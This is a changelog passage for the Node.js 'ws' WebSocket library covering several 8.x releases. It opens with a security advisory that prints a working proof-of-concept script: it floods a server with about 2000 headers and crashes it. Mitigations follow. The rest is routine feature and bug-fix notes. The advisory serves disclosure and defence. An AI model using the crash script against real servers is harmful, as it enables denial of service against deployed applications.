Bug fixes

A request with a number of headers exceeding theserver.maxHeadersCount
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in #​2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the
    --max-http-header-size=size and/or the maxHeaderSize options so
    that no more headers than the server.maxHeadersCount limit can be sent.
  2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

  • The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

  • The default value of the allowSynchronousEvents option has been changed to
    true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

  • Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

  • The allowMultipleEventsPerMicrotask option has been renamed to
    allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

  • Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

  • Fixed an issue that allowed errors thrown by failed assertions to be
    swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

  • Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

  • The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
  • The socket argument of server.handleUpgrade() can now be a generic
    Duplex stream (#​2165).

Other notable changes

  • At most one event per microtask is now emitted (#​2160).
